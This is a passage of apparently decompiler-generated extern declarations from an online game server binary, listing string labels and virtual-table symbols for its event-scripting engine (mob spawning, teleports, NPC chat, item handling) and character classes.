aPartymanufa_25[]; // idb extern char aPartymanufa_12[]; // idb extern char aPartymanufac_3[]; // idb extern char aPartymanufa_14[]; // idb extern char aPartymanufa_20[]; // idb extern char aRegnumDHndzDHn[]; // idb extern char aPartyMemberD[]; // idb extern char aNullParty[11]; // weak extern char aPartyregnumDCh[]; // idb extern char asc_6505F0[]; // idb extern char aWorldmanage_90[]; // idb extern char asc_650654[]; // idb extern char aPartymanufac_8[]; // idb extern char aPartymanufac_4[58]; // weak extern char aPartymanufa_23[55]; // weak extern char aWorldmanage_91[]; // idb extern char aWorldmanage_93[]; // idb extern char aWorldmanage_92[]; // idb extern char aWorldmanage_95[]; // idb extern char aWorldmanage_94[]; // idb extern char asc_650870[]; // idb extern char aWorldmanage_97[]; // idb extern char aWorldmanage_96[]; // idb extern char asc_650928[]; // idb extern char aWorldmanage_98[]; // idb extern char aPathfindtableO[]; // idb extern char aLinearstepLs_s[]; // idb extern int (__thiscall *Tracer::_vftable_)(void *p, char); // weak extern int (__thiscall *LinearStep::_vftable_)(void *p, char); // weak extern char aLinearstepT_co[]; // idb extern int (__thiscall *CellStack::_vftable_)(void *p, char); // weak extern char aCellstackCs__1[]; // idb extern char aCellstackCs_pu[]; // idb extern char aCellstackT_con[]; // idb extern int (__stdcall *MinWeightSearching::_vftable_)(int ele, __int16 handle); // weak extern char aMinweightsearc[]; // idb extern char aCellstackT_tra[]; // idb extern char aNoPath[]; // idb extern char aCellstackCs_se[]; // idb extern char aLinearstepT_tr[]; // idb extern char aPerformanceche[]; // idb extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_)(void *p, char); // weak extern char aProtocolfunc_1[]; // idb extern char aProtocolfuncti[]; // idb extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[5])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[4])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[3])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[2])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_)(void *p, char); // weak extern int (*PineEventScriptNode::ScriptAtom::_vftable_)(); // weak extern int (__stdcall *PineEventScriptNode::CalculateOperator::_vftable_)(int tr); // weak extern int (__thiscall *PineEventScriptNode::CompareOperator::_vftable_)(PineEventScriptNode::CompareOperator *this, int tr); // weak extern int (__stdcall *PineEventScriptNode::SysFuncBase::_vftable_[28])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncRand::_vftable_[27])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncSQRT::_vftable_[26])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncDistance::_vftable_[25])(int buffer, int x2, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineMobRegen::_vftable_[24])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDoorBuild::_vftable_[23])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineNPCStand::_vftable_[22])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2Mob::_vftable_[21])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2Door::_vftable_[20])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2NPC::_vftable_[19])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCount::_vftable_[18])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRestSecond::_vftable_[17])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCharClass::_vftable_[16])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCharName::_vftable_[15])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDeadNumber::_vftable_[14])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCircularScatter::_vftable_[13])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRemoveFisrt::_vftable_[12])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetObjectList::_vftable_[11])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineKQResultList::_vftable_[10])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineKQTop::_vftable_[9])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDistance::_vftable_[8])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShinePlayerInArea::_vftable_[7])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRange::_vftable_[6])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineIsGateUse::_vftable_[5])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetWinnerGuild::_vftable_[4])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetLoseGuild::_vftable_[3])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineWhereIs::_vftable_[2])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineSPrintF1::_vftable_)(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::String::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Number::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Id::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Identify::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ArgumentList::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Term::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Statement::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::BlockName::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateBreak::_vftable_)(int tr); // weak extern char aFileEndInStrin[19]; // weak extern char aStringOverLine[17]; // weak extern char aTooManyStateme[]; // idb extern char aPinescriptstac[]; // idb extern char aVariableStackO[]; // idb extern int (__stdcall *std::basic_ostream>::_vftable_)(char); // weak extern int (__thiscall *std::basic_ios>::_vftable_)(void *p, char); // weak extern int (__stdcall *std::basic_istream>::_vftable_[2])(char); // weak extern int (__stdcall *std::basic_iostream>::_vftable_)(char); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__thiscall *std::ctype::_vftable_)(void *p, char); // weak extern char aC_3[2]; // idb extern int (__stdcall *PineEventScriptNode::SystemFunction::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Express::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Condition::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateIf::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateCall::_vftable_)(int tr); // weak extern char aMain[5]; // weak extern char aNumberReadFail[17]; // weak extern char aNullVariable[]; // idb extern int (__thiscall *std::basic_streambuf>::_vftable_)(void *p, char); // weak extern int (__thiscall *std::basic_stringbuf_std::allocator>::_vftable_)(void *p, char); // weak extern char Message[]; // idb extern int (__thiscall *std::num_put>>::_vftable_)(void *p, char); // weak extern int (__stdcall *PineEventScriptNode::StatementBaseExpress::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StatePrint::_vftable_)(int tr); // weak extern char command[]; // idb extern char aPineeventsc_77[]; // idb extern char aUnexpectedEof[15]; // weak extern int (__stdcall *std::basic_stringstream_std::allocator>::_vftable_)(char); // weak extern int (__stdcall *PineEventScriptNode::Block::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateVarDeclear::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateInfinite::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateWhile::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StatePermillage::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateAssignment::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::OtherStatement::_vftable_)(int tr); // weak extern char asc_65102C[2]; // weak extern char asc_651030[]; // idb extern char asc_651034[]; // idb extern char aPineeventscrip[]; // idb extern char aSprintf[]; // idb extern char aWhereis[]; // idb extern char aGetloseguild[]; // idb extern char aGetwinnerguild[]; // idb extern char aIsgateuse[]; // idb extern char aRange[]; // idb extern char aPlayerinarea[]; // idb extern char aDistancebetwee[]; // idb extern char aKqtoplist[]; // idb extern char aKqresultlist[]; // idb extern char aGetobjectlist[]; // idb extern char aRemovefirst[]; // idb extern char aCircularscatte[]; // idb extern char aDeathnum[]; // idb extern char aCharname[]; // idb extern char aCharclass[]; // idb extern char aRestsec[]; // idb extern char aCount[]; // idb extern char aChange2npc[]; // idb extern char aChange2door[]; // idb extern char aChange2mob[]; // idb extern char aNpcstand[]; // idb extern char aDoorbuild[]; // idb extern char aMobregen[]; // idb extern char aRandom[]; // idb extern char aDistance[]; // idb extern char aSquarroot[]; // idb extern char a_[2]; // weak extern char aClose[6]; // weak extern char aOpen[]; // idb extern char aVarNotInit[]; // idb extern char a_[2]; // idb extern char aVar[4]; // weak extern char aInfinite[9]; // weak extern char aWhile[6]; // weak extern char aBreak[]; // idb extern char aCall[]; // idb extern char aPermillage[11]; // weak extern char asc_651220[2]; // weak extern unsigned __int8 asc_651224[]; // idb extern int (__thiscall *PineEventScriptNode::ScriptParameterPaser::_vftable_)(void *p, char); // weak extern char aElse[]; // idb extern char aThen[]; // idb extern char aIf[3]; // weak extern _UNKNOWN std::basic_iostream>::_vbtable_; // weak extern _UNKNOWN std::basic_iostream>::_vbtable_; // weak extern int (__thiscall *std::numpunct::_vftable_)(void *p, char); // weak extern char aTrue[]; // idb extern char aFalse[]; // idb extern int (__stdcall *PineEventScriptNode::Script::_vftable_)(int tr); // weak extern _UNKNOWN std::basic_stringstream_std::allocator>::_vbtable_; // weak extern _UNKNOWN std::basic_stringstream_std::allocator>::_vbtable_; // weak extern char Spec[]; // idb extern char aLu[]; // idb extern char aLd[]; // idb extern char aLu_0[]; // idb extern char aE[2]; // weak extern char aE_0[2]; // weak extern char aP_1[3]; // idb extern char Val[]; // idb extern char aMovieTheaterT_[]; // idb extern int (__stdcall *AxialListMobCounter::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListMobInAreaCounter::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListObjectList::_vftable_)(int, int, int distancesquar); // weak extern char aMovieTheater_6[]; // idb extern char aScriptmobbre_3[]; // idb extern char aScriptmobbre_5[]; // idb extern char aScriptmobbre_2[]; // idb extern char aScriptmobbreed[]; // idb extern char aScriptmobbre_0[]; // idb extern char aScriptmobbre_1[46]; // weak extern char aScriptmobbre_6[]; // idb extern char aPineeventsc_48[]; // idb extern char aPineeventsc_47[]; // idb extern char aPineeventsc_50[]; // idb extern char aPineeventsc_49[]; // idb extern char aPineeventsc_52[]; // idb extern char aPineeventsc_51[]; // idb extern char aPineeventsc_54[]; // idb extern char aPineeventsc_53[]; // idb extern char aPineeventsc_56[]; // idb extern char aPineeventsc_55[]; // idb extern char aPineeventsc_58[]; // idb extern char aPineeventsc_57[]; // idb extern char aPineeventscr_1[]; // idb extern char aAll_0[]; // idb extern char aPlayer[]; // idb extern char aPineeventscr_0[]; // idb extern char aPineeventsc_59[]; // idb extern char aAssassin[]; // idb extern char aCloser[7]; // weak extern char aCruel[6]; // weak extern char aChaser[7]; // weak extern char aWizard[7]; // weak extern char aWarlock[8]; // weak extern char aEnchanter[10]; // weak extern char aWizmage[8]; // weak extern char aRanger[7]; // weak extern char aSharpshooter[13]; // weak extern char aScout[6]; // weak extern char aHawkarcher[11]; // weak extern char aGuardian[9]; // weak extern char aHolyknight[11]; // weak extern char aPaladin[8]; // weak extern char aHighcleric[11]; // weak extern char aKnight[7]; // weak extern char aGladiator[10]; // weak extern char aWarrior[8]; // weak extern char aCleverfighter[14]; // weak extern char aJoker[6]; // weak extern char aMage[5]; // weak extern char aArcher[7]; // weak extern char aCleric[7]; // weak extern char aFighter[8]; // weak extern char aPineeventsc_60[]; // idb extern char aPineeventsc_61[]; // idb extern char aPineeventsc_63[]; // idb extern char aPineeventsc_62[]; // idb extern char aPineeventsc_65[]; // idb extern char aPineeventsc_64[]; // idb extern char aPineeventsc_67[]; // idb extern char aPineeventsc_66[]; // idb extern char aAxiallistobj_2[]; // idb extern char aInvalidFlag[]; // idb extern char aMob[]; // idb extern char aBandit[]; // idb extern char aNpc[]; // idb extern char aInvalidObject[]; // idb extern char aPineeventscr_3[]; // idb extern char aPineeventscr_2[]; // idb extern int (__stdcall *AxialListKQResult::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistkqr_4[]; // idb extern char aAxiallistkqres[]; // idb extern char aAxiallistkqr_0[]; // idb extern char aPineeventsc_72[]; // idb extern char aPineeventsc_71[]; // idb extern char a999999999[]; // idb extern char aPineeventsc_70[]; // idb extern char aPineeventscr_4[]; // idb extern char aPineeventsc_75[]; // idb extern char aPineeventsc_76[]; // idb extern char aMatchingcondit[]; // idb extern char aNewconditionof[]; // idb extern char aConditionofher[]; // idb extern char aPineeventsc_69[]; // idb extern char aPineeventsc_68[]; // idb extern char aSysfuncshine_2[]; // idb extern char aSysfuncshine_1[]; // idb extern char aSysfuncshineis[]; // idb extern char aNone[]; // idb extern char aPineeventsc_73[]; // idb extern char aSysfuncshinege[]; // idb extern char aPineeventsc_74[]; // idb extern char aSysfuncshine_3[]; // idb extern char aPineeventscr_7[]; // idb extern char aShuffle[]; // idb extern char aDesc[]; // idb extern char aAsc[]; // idb extern char aPineeventscr_6[]; // idb extern char aPineeventscr_5[]; // idb extern char aKqrankinglog[]; // idb extern char aPinescriptmobr[]; // idb extern char aPinescriptmo_5[]; // idb extern char aPinescriptmo_1[]; // idb extern char aPinescriptmo_2[]; // idb extern char aGroupindex[]; // idb extern char aPinescriptmo_4[]; // idb extern char aPinescriptmo_0[]; // idb extern char a_none_[]; // idb extern char aMovieTheater_3[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePrintf::_vftable_)(int tr); // weak extern char aPrintf[]; // idb extern int (__stdcall *PineEventScriptNode::ShineScriptFile::_vftable_)(int tr); // weak extern char aScriptfile[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTimeLimit::_vftable_)(int tr); // weak extern char aTimelimit[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptClear::_vftable_)(int tr); // weak extern char aInterruptclear[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptSet::_vftable_)(int tr); // weak extern char aInterruptset_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptErase::_vftable_)(int tr); // weak extern char aInterrupterase[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitInterrupt::_vftable_)(int tr); // weak extern char aWaitinterrupt[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobRegen::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineDoorBuild::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineNPCStand::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2Mob::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2Door::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2NPC::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineExchange2Mob::_vftable_)(int tr); // weak extern char aExchange2mob[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDoorOpen::_vftable_)(int tr); // weak extern char aDooropen[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDoorClose::_vftable_)(int tr); // weak extern char aDoorclose[]; // idb extern int (__stdcall *PineEventScriptNode::ShineObjectVanish::_vftable_)(int tr); // weak extern char aVanish[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegenGroup::_vftable_)(int tr); // weak extern char aRegengroup[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitUserLogin::_vftable_)(int tr); // weak extern char aWaitlogin[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePause::_vftable_)(int tr); // weak extern char aPause[]; // idb extern int (__stdcall *PineEventScriptNode::ShineNPCChat::_vftable_)(int tr); // weak extern char aNpcchat[]; // idb extern int (__stdcall *PineEventScriptNode::ShineNPCShout::_vftable_)(int tr); // weak extern char aNpcshout[]; // idb extern int (__stdcall *PineEventScriptNode::ShineChatWindow::_vftable_)(int tr); // weak extern char aChatwin[]; // idb extern int (__stdcall *PineEventScriptNode::ShineChatWindowRange::_vftable_)(int tr); // weak extern char aChatwinrange[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSomeoneShout::_vftable_)(int tr); // weak extern char aSomeoneshout[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSummonMob::_vftable_)(int tr); // weak extern char aSummonmob[]; // idb extern int (__stdcall *PineEventScriptNode::ShineQuestResult::_vftable_)(int tr); // weak extern char aQuestresult[]; // idb extern int (__stdcall *PineEventScriptNode::ShineReward::_vftable_)(int tr); // weak extern char aReward[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBroadcast::_vftable_)(int tr); // weak extern char aBroadcast[]; // idb extern int (__stdcall *PineEventScriptNode::ShineLinkTo::_vftable_)(int tr); // weak extern char aLinkto_2[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWhoClickMe::_vftable_)(int tr); // weak extern char aWhoclickme[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWhoKillMe::_vftable_)(int tr); // weak extern char aWhokillme[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemDrop::_vftable_)(int tr); // weak extern char aItemdrop[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvenSearch::_vftable_)(int tr); // weak extern char aInvensearch[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemCreate::_vftable_)(int tr); // weak extern char aItemcreate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemErase::_vftable_)(int tr); // weak extern char aItemerase[]; // idb extern int (__stdcall *PineEventScriptNode::ShineFindHandle::_vftable_)(int tr); // weak extern char aFindhandle[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAbstatSet::_vftable_)(int tr); // weak extern char aAbstateset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAbstatReset::_vftable_)(int tr); // weak extern char aAbstatereset_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSuicide::_vftable_)(int tr); // weak extern char aSuicide[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRun::_vftable_)(int tr); // weak extern char aRun[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWalk::_vftable_)(int tr); // weak extern char aWalk[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMapLight::_vftable_)(int tr); // weak extern char aMaplight[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMapFog::_vftable_)(int tr); // weak extern char aMapfog[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEffectObject::_vftable_)(int tr); // weak extern char aEffectobj[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEffectLocate::_vftable_)(int tr); // weak extern char aEffectloc[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAggro::_vftable_)(int tr); // weak extern char aAggro[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobWeaponRate::_vftable_)(int tr); // weak extern char aMobweaponrate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobDetectRange::_vftable_)(int tr); // weak extern char aMobdetectrange[]; // idb extern int (__stdcall *PineEventScriptNode::ShineHeal::_vftable_)(int tr); // weak extern char aHeal[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAnimate::_vftable_)(int tr); // weak extern char aAnimate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDuplicate::_vftable_)(int tr); // weak extern char aDuplicate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitIdle::_vftable_)(int tr); // weak extern char aWaitidle[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDeathCountClear::_vftable_)(int tr); // weak extern char aDeathcountclea[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemAttrSet::_vftable_)(int tr); // weak extern char aItemattrset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineScinarioCode::_vftable_)(int tr); // weak extern char aScinariocode[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBattleStart::_vftable_)(int tr); // weak extern char aBattlestart[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBattleStop::_vftable_)(int tr); // weak extern char aBattlestop[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSendKQResult::_vftable_)(int tr); // weak extern char aSendquestresul[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvidualReward::_vftable_)(int tr); // weak extern char aInvidualreward[]; // idb extern int (__stdcall *PineEventScriptNode::ShineReturnValue::_vftable_)(int tr); // weak extern char aReturnvalue[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSubLayerShift::_vftable_)(int tr); // weak extern char aSublayershift[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTeleport::_vftable_)(int tr); // weak extern char aTeleport[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemOwner::_vftable_)(int tr); // weak extern char aItemowner[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobAttribute::_vftable_)(int tr); // weak extern char aMobattr[]; // idb extern int (__stdcall *PineEventScriptNode::ShineObjectCollect::_vftable_)(int tr); // weak extern char aCollect[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_)(int tr); // weak extern char aEndofkq_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfGuildTournament::_vftable_)(int tr); // weak extern char aEndofgt[]; // idb extern int (__stdcall *PineEventScriptNode::ShineGuildTorunamentResult::_vftable_)(int tr); // weak extern char aGtresult[]; // idb extern int (__stdcall *PineEventScriptNode::ShineCostumeCreate::_vftable_)(int tr); // weak extern char aCostumecreate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineCostumeTakeOff::_vftable_)(int tr); // weak extern char aCostumetakeoff[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWeddingComplete::_vftable_)(int tr); // weak extern char aWeddingcomplet[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePlayerWalk::_vftable_)(int tr); // weak extern char aPlayerwork[]; // idb extern int (__stdcall *PineEventScriptNode::ShineFindPlayer::_vftable_)(int tr); // weak extern char aFindplayer[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTeleportAll::_vftable_)(int tr); // weak extern char aTeleportall[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBriefEffect::_vftable_)(int tr); // weak extern char aBriefeffect[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBanFromArea::_vftable_)(int tr); // weak extern char aBanfromarea[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegesteFlag::_vftable_)(int tr); // weak extern char aRegisteflag[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegesteGate::_vftable_)(int tr); // weak extern char aRegistegate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDiceGameStart::_vftable_)(int tr); // weak extern char aDicegamestart[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRevival::_vftable_)(int tr); // weak extern char aRevival[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSpawn::_vftable_)(int tr); // weak extern char aSpawn[]; // idb extern int (__stdcall *PineEventScriptNode::ShineHPSet::_vftable_)(int tr); // weak extern char aHpset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfMID::_vftable_)(int tr); // weak extern char aEndofmid[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvidualMidReward::_vftable_)(int tr); // weak extern char aInvidualrewa_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMIDClearCount::_vftable_)(int tr); // weak extern char aMidclearcount[]; // idb extern int (__stdcall *AxialListKQReward::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListMIDReward::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListKQEnd::_vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); // weak extern int (__stdcall *AxialListLinkTo::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListLinkToByObserver::_vftable_)(int, int, int distancesquar); // weak extern char a___printf[]; // idb extern char aPineeventsc_78[]; // idb extern int (__stdcall *AxialListMobVanish::_vftable_)(int, #593 *obj, int distancesquar); // weak extern int (__stdcall *AxialListItemErase4All::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListMobStateSet::_vftable_)(AxialListMobStateSet *this, int, #593 *obj, int distancesquar); // weak extern int (__thiscall *AxialListPlayerStateSet::_vftable_)(AxialListPlayerStateSet *this, int, #593 *obj, int distancesquar); // weak extern int (__stdcall *AxialListTeleport::_vftable_[6])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListTeleportAnywhere::_vftable_[5])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListCount2::_vftable_[4])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListTeleportSplit::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListFindItemOwner::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListObjectCollector::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListGTEnd::_vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern char aMovieTheater_7[]; // idb extern char aMovieTheater_2[]; // idb extern char aMovieTheater_8[]; // idb extern int (__stdcall *PineEventScriptNode::RegisterGTPortal::_vftable_)(int tr); // weak extern char aRegistergtport[]; // idb extern int (__stdcall *PineEventScriptNode::SaveLinkto::_vftable_)(int tr); // weak extern char aSavelinkto[]; // idb extern int (__stdcall *PineEventScriptNode::ClearSaveLinkto::_vftable_)(int tr); // weak extern char aClearsavelin_1[]; // idb extern int (__stdcall *PineEventScriptNode::ID_Fail::_vftable_)(int tr); // weak extern char aId_fail[]; // idb extern int (__stdcall *PineEventScriptNode::SendMapInMobInfo::_vftable_)(int tr); // weak extern char aSendmapinmob_2[]; // idb extern int (__stdcall *PineEventScriptNode::NPCChatNoFacecut::_vftable_)(int tr); // weak extern char aNpcchatnofacec[]; // idb extern int (__stdcall *PineEventScriptNode::ScinarioCodeParty::_vftable_)(int tr); // weak extern MobTacticElement::MobActionArgument unk_653140; // idb extern _UNKNOWN PineEventScriptNode::HasAbstate::_vftable_; // weak extern MobTacticElement::MobActionArgument unk_65316C; // idb extern _UNKNOWN PineEventScriptNode::BroadcastCode::_vftable_; // weak extern MobTacticElement::MobActionArgument unk_653190; // idb extern _UNKNOWN PineEventScriptNode::GTRegisterNPC::_vftable_; // weak extern char unk_6531B8[14]; // idb extern _UNKNOWN PineEventScriptNode::GTMobRegenKey::_vftable_; // weak extern char unk_6531E0[14]; // idb extern char unk_6531F0[]; // idb extern char unk_653220[]; // idb extern MobTacticElement::MobActionArgument aStatepermillag[]; // idb extern char asc_653268[]; // idb extern MobTacticElement::MobActionArgument aUnsetScriptFil[]; // idb extern char asc_6532AC[62]; // idb extern MobTacticElement::MobActionArgument unk_6532EC; // idb extern char unk_653300[]; // idb extern char unk_653330[61]; // idb extern MobTacticElement::MobActionArgument aShinetimelimit[]; // idb extern char asc_653384[]; // idb extern char asc_6533B4[63]; // idb extern char asc_6533F4[57]; // idb extern char asc_653430[59]; // weak extern MobTacticElement::MobActionArgument aInterruptset[]; // idb extern char asc_65347C[]; // idb extern MobTacticElement::MobActionArgument aShineinterrupt[]; // idb extern char asc_6534C0[]; // idb extern MobTacticElement::MobActionArgument aShinewaitinter[]; // idb extern char asc_653508[]; // idb extern char asc_653540[]; // idb extern char asc_653580[]; // idb extern char asc_6535C4[]; // idb extern MobTacticElement::MobActionArgument aShinechange2mo[]; // idb extern char asc_653610[]; // idb extern MobTacticElement::MobActionArgument aShinechange2do[]; // idb extern char asc_653654[]; // idb extern MobTacticElement::MobActionArgument aShinechange2np[]; // idb extern char asc_653698[]; // idb extern char aPineeventsc_13[67]; // 